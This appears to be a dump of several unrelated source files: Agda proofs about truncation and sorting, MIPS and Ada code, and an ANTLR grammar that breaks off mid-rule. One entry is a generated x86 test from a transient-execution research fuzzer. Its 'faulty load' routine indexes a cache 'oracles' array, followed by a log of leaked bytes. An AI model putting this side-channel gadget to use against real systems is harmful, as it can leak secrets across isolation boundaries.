import Universe.Utility.General open import Universe.Utility.TruncUniverse open import Universe.Trunc.Universal -- *** Definition 6.4 *** record trunc-ty {i} (n : ℕ₋₂) (A : Type i) (j : ULevel) : Type (lsucc (i ⊔ j)) where constructor ty-cons field type : n -Type i cons : A → ⟦ type ⟧ univ : univ-Type type cons j module _ {i} {n : ℕ₋₂} {A : Type i} where trunc-ty-lower : ∀ {j₀} (j₁ : ULevel) → trunc-ty n A (j₀ ⊔ j₁) → trunc-ty n A j₀ trunc-ty-lower {j₀} j₁ (ty-cons t c u) = ty-cons t c (univ-lower t c (j₀ ⊔ j₁) u) {- Since Agda does not support specifying ordering relations on universe levels, we encounter an awkward dependency inversion: the index k needs to be specified in the module arguments, since the truncation type depends on it, even though we would rather have it at each individual definition. This shortcoming will be the source of many explicitely specified levels. -} module trunc-props {i} {n : ℕ₋₂} {A : Type i} {j k} (tr : trunc-ty n A (i ⊔ j ⊔ k)) where open trunc-ty tr up : (U : n -Type k) → (⟦ type ⟧ → ⟦ U ⟧) ≃ (A → ⟦ U ⟧) up U = ((λ f → f ∘ cons) , univ-lower type cons (i ⊔ j ⊔ k) univ U) dup : (U : ⟦ type ⟧ → n -Type k) → ((ta : ⟦ type ⟧) → ⟦ U ta ⟧) ≃ ((a : A) → ⟦ U (cons a) ⟧) dup U = ((λ f → f ∘ cons) , with-univ.duniv type cons (univ-lower type cons (i ⊔ j ⊔ k) univ) U) abstract rec : (U : n -Type k) → (A → ⟦ U ⟧) → ⟦ type ⟧ → ⟦ U ⟧ rec U = <– (up U) elim : (U : ⟦ type ⟧ → n -Type k) → ((a : A) → ⟦ U (cons a) ⟧) → (ta : ⟦ type ⟧) → ⟦ U ta ⟧ elim U = <– (dup U) rec-β : {U : n -Type k} {f : A → ⟦ U ⟧} (a : A) → rec U f (cons a) == f a rec-β {U} {f} a = app= (<–-inv-r (up U) f) a elim-β : {U : ⟦ type ⟧ → n -Type k} {f : (a : A) → ⟦ U (cons a) ⟧} (a : A) → elim U f (cons a) == f a elim-β {U} {f} a = app= (<–-inv-r (dup U) f) a {- Truncation acts as a functor. While tedious, we state all lemmata in their most general form. Instead of assuming an n-truncation operator, we individually assume a truncation for each type we need. While seeming overly convoluted at first, this generality will actually pay off with an unconventional use of fmap-equiv in showing that trunc-ty is propositional. -} module trunc-functor {n : ℕ₋₂} where open trunc-ty open trunc-props -- The functorial action of truncation (truncation preserves maps). module _ {ia ib j} where module fmap {A : Type ia} {B : Type ib} (TrA : trunc-ty n A (ia ⊔ ib ⊔ j)) (TrB : trunc-ty n B (ia ⊔ ib ⊔ j)) (f : A → B) where map : ⟦ type TrA ⟧ → ⟦ type TrB ⟧ map = rec {j = ia ⊔ ib ⊔ j} TrA (type TrB) (cons TrB ∘ f) β : (a : A) → map (cons TrA a) == cons TrB (f a) β = rec-β TrA {type TrB} -- The functorial action preserves the identity. module _ {i j} {A : Type i} (TrA : trunc-ty n A (i ⊔ j)) where private module I = fmap {j = i ⊔ j} TrA TrA (idf _) fmap-fuse-id : (ta : ⟦ type TrA ⟧) → I.map ta == ta fmap-fuse-id = elim {j = i ⊔ j} TrA (λ ta → Path-≤ (type TrA) (I.map ta) ta) I.β -- The functorial action preserves composition. module _ {ia ib ic j} where private l : ULevel l = ia ⊔ ib ⊔ ic ⊔ j module _ {A : Type ia} {B : Type ib} {C : Type ic} (TrA : trunc-ty n A l) (TrB : trunc-ty n B l) (TrC : trunc-ty n C l) (f : A → B) (g : B → C) where private module F = fmap {j = l} TrA TrB f module G = fmap {j = l} TrB TrC g module GF = fmap {j = l} TrA TrC (g ∘ f) open trunc-props fmap-fuse-∘ : (ta : ⟦ type TrA ⟧) → GF.map ta == G.map (F.map ta) fmap-fuse-∘ = elim {j = l} TrA (λ ta → Path-≤ (type TrC) (GF.map ta) (G.map (F.map ta))) $ λ a → GF.map (cons TrA a) =⟨ GF.β a ⟩ cons TrC (g (f a)) =⟨ ! (G.β (f a)) ⟩ G.map (cons TrB (f a)) =⟨ ap G.map (! (F.β a)) ⟩ G.map (F.map (cons TrA a)) ∎ {- Corollary: truncation preserves equivalences. The below general form produces a unexpected benefit: the underlying type of a truncation is unique up to constructor-preserving equivalence. -} module _ where private module _ {ia ib j} where private l : ULevel l = ia ⊔ ib ⊔ j module half {A : Type ia} {B : Type ib} (TrA : trunc-ty n A l) (TrB : trunc-ty n B l) (e : A ≃ B) where module F = fmap {j = l} TrA TrB (–> e) module G = fmap {j = l} TrB TrA (<– e) module BB = fmap {j = l} TrB TrB f-g : (tb : ⟦ type TrB ⟧) → F.map (G.map tb) == tb f-g tb = F.map (G.map tb) =⟨ ! (fmap-fuse-∘ {j = l} TrB TrA TrB (<– e) (–> e) tb) ⟩ BB.map (–> e ∘ <– e) tb =⟨ app= (ap BB.map (λ= (<–-inv-r e))) tb ⟩ BB.map (idf _) tb =⟨ fmap-fuse-id {j = l} TrB tb ⟩ tb ∎ module _ {ia ib j} where module _ {A : Type ia} {B : Type ib} (TrA : trunc-ty n A (ia ⊔ ib ⊔ j)) (TrB : trunc-ty n B (ia ⊔ ib ⊔ j)) (e : A ≃ B) where private module H = half {j = j} TrA TrB e module K = half {j = j} TrB TrA (e ⁻¹) fmap-equiv : ⟦ type TrA ≃-≤ type TrB ⟧ fmap-equiv = equiv H.F.map K.F.map H.f-g K.f-g {- The type of n-truncations of A is propositional: truncations are unique if existent. -} module _ {i} {n : ℕ₋₂} {A : Type i} where open trunc-ty open trunc-functor {- For the purpose of this module, it will be easier for us to regard trunc-ty as a left-associatived Σ-type. In this way, we may examine the equality on the first component while disregarding the second one, which is a proposition. -} private e : ∀ {j} → trunc-ty n A j ≃ Σ (Σ _ _) _ e = equiv (λ {(ty-cons t c u) → ((t , c) , u)}) (λ {((t , c) , u) → ty-cons t c u}) (λ _ → idp) (λ _ → idp) {- First, let us structurally decompose the combined equality over the type and cons record fields of trunc-ty. Note that this kind of lemma would be superfluous in a proof assistant fully supporting univalent foundations. -} path : (U V : Σ (n -Type i) (λ ty → A → ⟦ ty ⟧)) → (U == V) ≃ Σ (⟦ fst U ⟧ ≃ ⟦ fst V ⟧) (λ e → –> e ∘ snd U == snd V) path ((X , u) , f) ((Y , v) , g) = equiv-Σ eq₁ (_⁻¹ ∘ eq₂) ∘e =Σ-eqv _ _ ⁻¹ where eq₁ : ((X , u) == (Y , v)) ≃ (X ≃ Y) eq₁ = (X , u) == (Y , v) ≃⟨ =Σ-eqv _ _ ⁻¹ ⟩ Σ (X == Y) (λ p → u == v [ _ ↓ p ]) ≃⟨ Σ₂-contr h ⟩ X == Y ≃⟨ ua-equiv ⁻¹ ⟩ X ≃ Y ≃∎ where h : (p : X == Y) → is-contr (u == v [ _ ↓ p ]) h _ = =-[-↓-]-level (λ _ → has-level-is-prop) eq₂ : (e : X ≃ Y) → (–> e ∘ f == g) ≃ (f == g [ _ ↓ <– eq₁ e ]) eq₂ = λ e → –> e ∘ f == g ≃⟨ app=-equiv ⟩ (∀ a → –> e (f a) == g a) ≃⟨ equiv-Π-r (λ a → ↓-idf-ua-equiv e) ⟩ (∀ a → f a == g a [ _ ↓ ua e ]) ≃⟨ ↓-cst→app-equiv ⟩ (f == g [ _ ↓ ua e ]) ≃⟨ ↓-cst2-equiv _ _ ⟩ (f == g [ _ ↓ <– eq₁ e ]) ≃∎ module _ {j} where {- Important special case of the general form of fmap-equiv: the underlying type of a truncation is unique up to constructor-preserving equivalence. -} module unique (Tr₁ : trunc-ty n A (i ⊔ j)) (Tr₂ : trunc-ty n A (i ⊔ j)) where type-equiv : ⟦ type Tr₁ ≃-≤ type Tr₂ ⟧ type-equiv = fmap-equiv {j = j} Tr₁ Tr₂ (ide _) cons-path : –> type-equiv ∘ cons Tr₁ == cons Tr₂ cons-path = λ= (fmap.β {j = j} Tr₁ Tr₂ (idf _)) type-cons-path : Path {A = Σ (n -Type i) (λ ty → A → ⟦ ty ⟧)} (fst (–> e Tr₁)) (fst (–> e Tr₂)) type-cons-path = <– (path _ _) (type-equiv , cons-path) -- *** Lemma 6.7 *** -- We are now ready to prove propositionality of trunc-ty. trunc-ty-prop : is-prop (trunc-ty n A _) trunc-ty-prop = all-paths-is-prop $ λ Tr₀ Tr₁ → <– (equiv-ap e _ _) (pair= (unique.type-cons-path Tr₀ Tr₁) (prop-has-all-paths-↓ (Π-level (λ _ → is-equiv-is-prop _)))) trunc-inhab-contr : trunc-ty n A _ → is-contr (trunc-ty n A _) trunc-inhab-contr Tr = (Tr , prop-has-all-paths trunc-ty-prop _)
output/main.asm
Progressive-Learning-Platform/plp-grinder
1
89116
.org 0x10000000 .equ true 1 .equ false 0 li $sp, 0x10fffffc call BasicArithmatic_static_init nop call init_heap nop call BasicArithmatic_main nop j end nop call_buffer: .word 0 caller: .word 0 arg_stack: .word 0
list-merge-sort.agda
rfindler/ial
29
7171
<filename>list-merge-sort.agda open import bool module list-merge-sort (A : Set) (_<A_ : A → A → 𝔹) where open import braun-tree A _<A_ open import eq open import list open import nat open import nat-thms merge : (l1 l2 : 𝕃 A) → 𝕃 A merge [] ys = ys merge xs [] = xs merge (x :: xs) (y :: ys) with x <A y merge (x :: xs) (y :: ys) | tt = x :: (merge xs (y :: ys)) merge (x :: xs) (y :: ys) | ff = y :: (merge (x :: xs) ys) merge-sort-h : ∀{n : ℕ} → braun-tree' n → 𝕃 A merge-sort-h (bt'-leaf a) = [ a ] merge-sort-h (bt'-node l r p) = merge (merge-sort-h l) (merge-sort-h r) merge-sort : 𝕃 A → 𝕃 A merge-sort [] = [] merge-sort (a :: as) with 𝕃-to-braun-tree' a as merge-sort (a :: as) | t = merge-sort-h t
test/Succeed/TranspComputing.agda
cruhland/agda
1,989
8795
{-# OPTIONS --cubical #-} module TranspComputing where open import Agda.Builtin.Cubical.Path open import Agda.Primitive.Cubical open import Agda.Builtin.List transpList : ∀ (φ : I) (A : Set) x xs → primTransp (λ _ → List A) φ (x ∷ xs) ≡ (primTransp (λ i → A) φ x ∷ primTransp (λ i → List A) φ xs) transpList φ A x xs = \ _ → primTransp (λ _ → List A) φ (x ∷ xs) data S¹ : Set where base : S¹ loop : base ≡ base -- This should be refl. transpS¹ : ∀ (φ : I) (u0 : S¹) → primTransp (λ _ → S¹) φ u0 ≡ u0 transpS¹ φ u0 = \ _ → u0
opengl-matrix.ads
io7m/coreland-opengl-ada
1
12299
with OpenGL.Types; with OpenGL.Thin; package OpenGL.Matrix is type Matrix_4x4f_t is new Types.Float_Arrays.Real_Matrix (1 .. 4, 1 .. 4); type Matrix_4x4d_t is new Types.Double_Arrays.Real_Matrix (1 .. 4, 1 .. 4); type Mode_t is (Texture, Modelview, Color, Projection); -- proc_map : glMatrixMode procedure Mode (Mode : in OpenGL.Matrix.Mode_t); -- -- Load -- -- proc_map : glLoadMatrixf procedure Load (Matrix : in Matrix_4x4f_t); -- proc_map : glLoadMatrixd procedure Load (Matrix : in Matrix_4x4d_t); -- -- Load_Identity -- -- proc_map : glLoadIdentity procedure Load_Identity renames Thin.Load_Identity; -- -- Multiply -- -- proc_map : glMultMatrixf procedure Multiply (Matrix : in Matrix_4x4f_t); -- proc_map : glMultMatrixd procedure Multiply (Matrix : in Matrix_4x4d_t); -- -- Load_Transpose -- -- proc_map : glLoadTransposeMatrixf procedure Load_Transpose (Matrix : in Matrix_4x4f_t); -- proc_map : glLoadTransposeMatrixd procedure Load_Transpose (Matrix : in Matrix_4x4d_t); -- -- Multiply_Transpose -- -- proc_map : glMultTransposeMatrixf procedure Multiply_Transpose (Matrix : in Matrix_4x4f_t); -- proc_map : glMultTransposeMatrixd procedure Multiply_Transpose (Matrix : in Matrix_4x4d_t); -- -- Rotate -- -- proc_map : glRotatef procedure Rotate (Angle : in OpenGL.Types.Float_t; X : in OpenGL.Types.Float_t; Y : in OpenGL.Types.Float_t; Z : in OpenGL.Types.Float_t); -- proc_map : glRotated procedure Rotate (Angle : in OpenGL.Types.Double_t; X : in OpenGL.Types.Double_t; Y : in OpenGL.Types.Double_t; Z : in OpenGL.Types.Double_t); -- -- Translate -- -- proc_map : glTranslatef procedure Translate (X : in OpenGL.Types.Float_t; Y : in OpenGL.Types.Float_t; Z : in OpenGL.Types.Float_t); -- proc_map : glTranslated procedure Translate (X : in OpenGL.Types.Double_t; Y : in OpenGL.Types.Double_t; Z : in OpenGL.Types.Double_t); -- -- Scale -- -- proc_map : glScalef procedure Scale (X : in OpenGL.Types.Float_t; Y : in OpenGL.Types.Float_t; Z : in OpenGL.Types.Float_t); -- proc_map : glScaled procedure Scale (X : in OpenGL.Types.Double_t; Y : in OpenGL.Types.Double_t; Z : in OpenGL.Types.Double_t); -- -- Frustum -- subtype Near_Double_t is OpenGL.Types.Double_t range 0.0 .. OpenGL.Types.Double_t'Last; -- proc_map : glFrustum procedure Frustum (Left : in OpenGL.Types.Double_t; Right : in OpenGL.Types.Double_t; Bottom : in OpenGL.Types.Double_t; Top : in OpenGL.Types.Double_t; Near : in Near_Double_t; Far : in OpenGL.Types.Double_t); -- -- Ortho -- -- proc_map : glOrtho procedure Ortho (Left : in OpenGL.Types.Double_t; Right : in OpenGL.Types.Double_t; Bottom : in OpenGL.Types.Double_t; Top : in OpenGL.Types.Double_t; Near : in OpenGL.Types.Double_t; Far : in OpenGL.Types.Double_t); -- -- Push -- -- proc_map : glPushMatrix procedure Push renames Thin.Push_Matrix; -- proc_map : glPopMatrix procedure Pop renames Thin.Pop_Matrix; end OpenGL.Matrix;
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_/i7-7700_9_0x48.log_21829_362.asm
ljhsiun2/medusa
9
20541
<filename>Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_/i7-7700_9_0x48.log_21829_362.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x36a5, %r13 xor %r15, %r15 movb $0x61, (%r13) nop nop nop xor %rbx, %rbx lea addresses_UC_ht+0xfe87, %r10 nop xor %rbx, %rbx mov $0x6162636465666768, %r12 movq %r12, (%r10) nop sub %rbx, %rbx lea addresses_WC_ht+0x2e36, %rdi nop add %r15, %r15 movb (%rdi), %r13b nop inc %rbx lea addresses_UC_ht+0x1367d, %rsi lea addresses_WT_ht+0x1cf6d, %rdi clflush (%rsi) xor $18998, %r12 mov $94, %rcx rep movsl nop cmp $29369, %r15 lea addresses_WC_ht+0x1bce7, %rsi lea addresses_WT_ht+0x18f7d, %rdi nop nop nop cmp %r15, %r15 mov $17, %rcx rep movsb inc %r13 lea addresses_A_ht+0x1bf7d, %r10 clflush (%r10) nop nop nop nop nop and %rdi, %rdi mov (%r10), %rbx nop nop nop dec %rdi lea addresses_normal_ht+0xdc65, %rsi lea addresses_normal_ht+0x5b7d, %rdi nop nop nop nop xor %r12, %r12 mov $35, %rcx rep movsl nop nop nop xor %r12, %r12 lea addresses_normal_ht+0x183fd, %r15 nop nop nop xor %r12, %r12 mov (%r15), %r10w nop nop nop nop cmp $10710, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %rax push %rcx push %rsi // Store lea addresses_WC+0xff59, %r10 nop nop nop nop nop dec %rsi mov $0x5152535455565758, %r15 movq %r15, %xmm6 movups %xmm6, (%r10) nop nop nop add %rax, %rax // Store lea addresses_WC+0x18d15, %r15 clflush (%r15) nop nop nop nop nop add %r14, %r14 movw $0x5152, (%r15) nop nop nop and %r10, %r10 // Faulty Load lea addresses_US+0x11f7d, %rax nop nop and %r10, %r10 mov (%rax), %r8 lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rsi pop %rcx pop %rax pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': True}} {'53': 1204, '47': 1390, 'ff': 6490, 'f0': 439, 'b3': 1, '01': 83, '48': 763, '44': 123, 'de': 13, '3f': 10, '45': 48, '00': 11265} 00 f0 53 00 ff 00 00 00 00 00 00 48 00 ff ff 00 00 00 47 53 00 ff ff 00 47 00 ff ff 00 ff 00 00 00 ff 00 47 ff f0 00 00 ff 47 00 ff 00 53 53 ff 00 00 00 00 ff 00 ff 47 00 ff ff 00 00 00 47 00 53 ff 00 00 ff ff ff 00 ff ff 00 00 00 48 00 ff 44 00 00 00 00 00 ff 00 00 48 00 ff ff ff 47 00 48 ff ff 00 53 47 00 00 ff 47 00 47 00 00 00 00 00 00 00 ff ff 00 00 48 00 00 00 00 00 00 00 47 ff 00 ff 00 00 53 00 00 48 00 00 00 ff ff 00 00 00 ff ff 00 00 ff 00 ff ff 00 ff 00 ff f0 00 ff 44 00 00 00 ff 00 47 00 00 48 53 00 00 47 00 ff 00 ff 53 ff 53 ff 48 00 00 ff ff ff ff 47 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 ff 53 00 ff ff 00 ff 00 ff ff 00 00 00 00 47 00 00 47 00 00 00 00 ff 3f 00 47 00 47 ff ff 53 00 00 00 ff ff 00 47 00 00 00 48 00 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 53 ff ff 00 ff 00 00 00 ff 00 53 00 00 00 44 00 ff 00 47 00 ff 48 ff 00 00 ff 00 00 ff f0 00 ff 00 00 ff ff ff ff 48 53 ff 47 00 ff 00 00 00 ff ff 00 00 ff 00 ff 00 53 00 47 00 de ff f0 00 ff 53 00 00 ff 00 ff ff ff ff 00 ff ff 01 00 00 00 48 00 00 ff 48 47 00 ff 00 00 ff 00 53 00 00 00 00 00 00 ff 00 53 00 ff 00 53 00 ff 53 ff ff 47 00 00 00 00 00 53 00 00 48 47 00 00 00 00 00 00 00 00 00 00 ff 47 00 ff 47 00 ff f0 ff 47 00 ff ff ff 00 ff 47 00 ff 47 ff 00 ff ff 00 44 00 47 00 00 00 00 00 00 00 00 ff 00 00 00 ff 00 53 47 00 47 00 ff 00 00 ff ff 00 48 ff 00 00 00 ff ff f0 ff ff 53 00 00 00 48 ff ff 00 47 00 00 ff ff 47 ff ff ff ff 01 00 ff 00 00 ff 00 00 00 ff 00 00 ff ff ff ff 47 00 00 00 00 ff ff ff 00 00 00 47 53 00 ff ff ff 48 f0 ff 00 00 ff ff 00 53 00 00 00 47 53 ff ff ff 00 00 00 00 ff ff 00 ff 48 ff 00 00 00 ff 00 00 00 ff ff f0 ff ff ff 47 00 00 00 ff 00 00 00 ff 53 00 00 ff 00 ff ff 00 00 00 ff 00 00 00 ff 47 ff 00 00 00 00 00 00 00 00 00 00 00 ff 00 ff 00 53 ff 00 ff 00 ff 00 00 ff ff ff 53 ff ff 53 00 00 ff 00 00 48 00 ff 53 ff 00 48 ff ff de 00 00 ff 48 00 ff ff f0 00 00 00 00 ff 47 f0 00 00 ff 00 00 00 ff f0 53 ff ff f0 00 00 ff 47 00 00 00 53 53 00 47 00 00 53 00 ff 53 00 ff 00 ff ff ff ff ff ff 00 48 00 ff ff 00 00 ff 00 00 ff ff 00 00 00 ff 00 00 ff ff 47 00 00 00 ff ff f0 00 ff 00 00 00 ff 47 47 00 ff ff ff 00 53 00 00 00 00 53 00 00 00 ff ff 00 00 ff ff 47 00 ff 48 ff ff f0 ff 00 00 00 00 00 00 00 00 00 00 ff 00 ff ff 47 00 00 00 00 00 00 47 ff 00 00 00 53 ff ff 47 53 00 00 48 f0 ff 00 00 ff f0 ff 00 ff 00 00 00 ff 00 47 ff f0 ff ff 00 00 00 00 00 00 00 53 00 ff ff 00 53 00 00 ff ff 00 00 00 00 00 00 ff ff 53 00 ff ff 00 00 00 53 ff ff 00 ff 00 53 53 00 ff 48 00 ff ff f0 ff 47 48 ff 00 00 00 00 53 00 ff ff 00 00 00 ff ff ff 00 44 53 00 00 00 00 ff 00 00 00 00 00 ff ff 47 00 ff 00 00 00 47 00 00 ff 00 00 ff ff f0 00 ff 00 00 00 00 00 00 00 00 00 ff 53 00 53 00 00 00 00 00 47 00 47 ff ff 47 00 00 00 48 00 00 ff 53 ff ff f0 ff 48 ff 00 ff ff 00 ff f0 00 00 ff ff 00 00 47 ff 00 53 00 ff 00 00 00 00 00 00 ff ff ff ff 00 ff 00 00 00 ff f0 47 00 00 ff f0 00 00 ff 53 ff ff 00 47 00 48 53 ff ff ff 47 ff f0 00 ff ff 00 00 48 ff ff 48 ff ff 53 00 ff 00 00 ff ff ff 53 */
lang/src/main/antlr4/org/kaazing/k3po/lang/parser/v2/Robot.g4
jfallows/k3po
0
6030
/** * Copyright (c) 2007-2014, Kaazing Corporation. All rights reserved. */ grammar Robot; /* Parser rules */ // A robot script is comprised of a list of commands, events and barriers for // each stream. Note that we deliberately allow empty scripts, in order to // handle scripts which are comprised of nothing but empty lines and comments. scriptNode : (propertyNode | streamNode)* EOF ; propertyNode : PropertyKeyword name=propertyName value=propertyValue ; propertyName : Name ; propertyValue : writeValue ; optionName : QualifiedName | Name ; streamNode : acceptNode | acceptedNode | rejectedNode | connectNode ; acceptNode : AcceptKeyword (AwaitKeyword await=Name)? acceptURI=location (AsKeyword as=Name)? (NotifyKeyword notify=Name)? acceptOption* serverStreamableNode* ; acceptOption : OptionKeyword optionName writeValue ; acceptedNode : AcceptedKeyword ( text=Name )? streamableNode+ ; rejectedNode : RejectedKeyword ( text=Name )? rejectableNode* ; connectNode : ConnectKeyword (AwaitKeyword await=Name)? connectURI=location connectOption* streamableNode+ ; connectOption : OptionKeyword optionName writeValue ; serverStreamableNode : barrierNode | serverEventNode | serverCommandNode | optionNode ; optionNode : readOptionNode | writeOptionNode ; readOptionNode : ReadKeyword OptionKeyword optionName writeValue ; writeOptionNode : WriteKeyword OptionKeyword optionName writeValue ; serverCommandNode : unbindNode | closeNode ; serverEventNode : openedNode | boundNode | childOpenedNode | childClosedNode | unboundNode | closedNode ; streamableNode : barrierNode | eventNode | commandNode | optionNode ; rejectableNode : barrierNode | readConfigNode ; commandNode : connectAbortNode | writeConfigNode | writeNode | writeFlushNode | writeCloseNode | writeAbortNode | readAbortNode | writeAdviseNode | readAdviseNode | closeNode ; eventNode : connectAbortedNode | openedNode | boundNode | readConfigNode | readNode | readClosedNode | readAbortedNode | writeAbortedNode | readAdvisedNode | writeAdvisedNode | disconnectedNode | unboundNode | closedNode | connectedNode ; barrierNode : readAwaitNode | readNotifyNode | writeAwaitNode | writeNotifyNode ; connectAbortNode : ConnectKeyword AbortKeyword ; connectAbortedNode : ConnectKeyword AbortedKeyword ; closeNode : CloseKeyword ; writeFlushNode : WriteKeyword FlushKeyword ; writeCloseNode : WriteKeyword CloseKeyword ; writeAbortNode : WriteKeyword AbortKeyword ; writeAbortedNode : WriteKeyword AbortedKeyword ; writeAdviseNode : WriteKeyword AdviseKeyword QualifiedName writeValue* ; writeAdvisedNode : WriteKeyword AdvisedKeyword QualifiedName matcher* MissingKeyword? ; disconnectNode : DisconnectKeyword ; unbindNode : UnbindKeyword ; writeConfigNode : WriteKeyword QualifiedName writeValue* ; writeNode : WriteKeyword writeValue+ ; childOpenedNode : ChildKeyword OpenedKeyword ; childClosedNode : ChildKeyword ClosedKeyword ; boundNode : BoundKeyword ; closedNode : ClosedKeyword ; connectedNode : ConnectedKeyword ; disconnectedNode : DisconnectedKeyword ; openedNode : OpenedKeyword ; readAbortNode : ReadKeyword AbortKeyword ; readAbortedNode : ReadKeyword AbortedKeyword ; readAdviseNode : ReadKeyword AdviseKeyword QualifiedName writeValue* ; readAdvisedNode : ReadKeyword AdvisedKeyword QualifiedName matcher* MissingKeyword? ; readClosedNode : ReadKeyword ClosedKeyword ; readConfigNode : ReadKeyword QualifiedName matcher* MissingKeyword? ; readNode : ReadKeyword matcher+ ; unboundNode : UnboundKeyword ; readAwaitNode : ReadKeyword AwaitKeyword Name ; readNotifyNode : ReadKeyword NotifyKeyword Name ; writeAwaitNode : WriteKeyword AwaitKeyword Name ; writeNotifyNode : WriteKeyword NotifyKeyword Name ; matcher : exactTextMatcher | exactBytesMatcher | numberMatcher | regexMatcher | expressionMatcher | fixedLengthBytesMatcher | variableLengthBytesMatcher ; exactTextMatcher : text=TextLiteral ; exactBytesMatcher : bytes=BytesLiteral ; numberMatcher : ByteKeyword byteLiteral=HexLiteral | ShortKeyword shortLiteral=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 's'? | ShortKeyword? shortLiteral=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 's' | IntKeyword? intLiteral=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) | LongKeyword longLiteral=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 'L'? | LongKeyword? longLiteral=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 'L' ; regexMatcher : regex=RegexLiteral ; expressionMatcher : expression=ExpressionLiteral ; fixedLengthBytesMatcher : '[0..' lastIndex=DecimalLiteral ']' | '([0..' lastIndex=DecimalLiteral ']' capture=CaptureLiteral ')' | '[(' capture=CaptureLiteral '){' lastIndex=DecimalLiteral '}]' | '(byte' byteCapture=CaptureLiteral ')' | '(short' shortCapture=CaptureLiteral ')' | '(int' intCapture=CaptureLiteral ')' | '(long' longCapture=CaptureLiteral ')' ; variableLengthBytesMatcher : '[0..' length=ExpressionLiteral ']' | '([0..' length=ExpressionLiteral ']' capture=CaptureLiteral ')' ; writeValue : literalText | literalBytes | literalByte | literalShort | literalInteger | literalLong | expressionValue ; literalText : literal=TextLiteral ; literalBytes : literal=BytesLiteral ; literalByte : ByteKeyword literal=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) ; literalShort : ShortKeyword literal=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 's'? | ShortKeyword? literal=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 's' ; literalInteger : IntKeyword? literal=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) ; literalLong : LongKeyword literal=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 'L'? | LongKeyword? literal=(SignedDecimalLiteral | DecimalLiteral | HexLiteral) 'L' ; expressionValue : expression=ExpressionLiteral ; location : literalText | expressionValue ; SignedDecimalLiteral : Plus DecimalLiteral | Minus DecimalLiteral // | DecimalLiteral ; AbortKeyword : 'abort' ; AbortedKeyword : 'aborted' ; AcceptKeyword : 'accept' ; AcceptedKeyword : 'accepted' ; AdviseKeyword : 'advise' ; AdvisedKeyword : 'advised' ; AsKeyword : 'as' ; AwaitKeyword : 'await' ; BindKeyword : 'bind' ; BoundKeyword : 'bound' ; ByteKeyword : 'byte' ; ChildKeyword : 'child' ; CloseKeyword : 'close' ; ClosedKeyword : 'closed' ; ConfigKeyword : 'config' ; ConnectKeyword : 'connect' ; ConnectedKeyword : 'connected' ; DisconnectKeyword : 'disconnect' ; DisconnectedKeyword : 'disconnected' ; IntKeyword : 'int' ; FlushKeyword : 'flush' ; LongKeyword : 'long' ; MissingKeyword : 'missing' ; NotifyKeyword : 'notify' ; OpenedKeyword : 'opened' ; OptionKeyword : 'option' ; PropertyKeyword : 'property' ; ReadKeyword : 'read' ; RejectedKeyword : 'rejected' ; ShortKeyword : 'short' ; UnbindKeyword : 'unbind' ; UnboundKeyword : 'unbound' ; WriteKeyword : 'write' ; // URI cannot begin with any of our data type delimiters, and MUST contain a colon. URILiteral : Letter (Letter | '+')+ ':' '/' (Letter | ':' | ';' | '/' | '=' | '.' | DecimalLiteral | '?' | '&' | '%' | '-' | ',' | '*')+ // ~('"' | '/' | ']' | '}') ; CaptureLiteral : ':' Identifier ; ExpressionLiteral : '${' ~('}')+ '}' ; RegexLiteral : '/' PatternLiteral '/' // ( RegexNamedGroups+ '/' )? ; //RegexNamedGroups // : '(' CaptureLiteral RegexNamedGroups* ')' // ; fragment PatternLiteral : (~('/' | '\r' | '\n') | '\\' '/')+ ; BytesLiteral : '[' (' ')? (ByteLiteral (' ')*)+ ']' ; fragment ByteLiteral : HexPrefix HexDigit HexDigit ; HexLiteral : HexPrefix HexDigit ('_'? 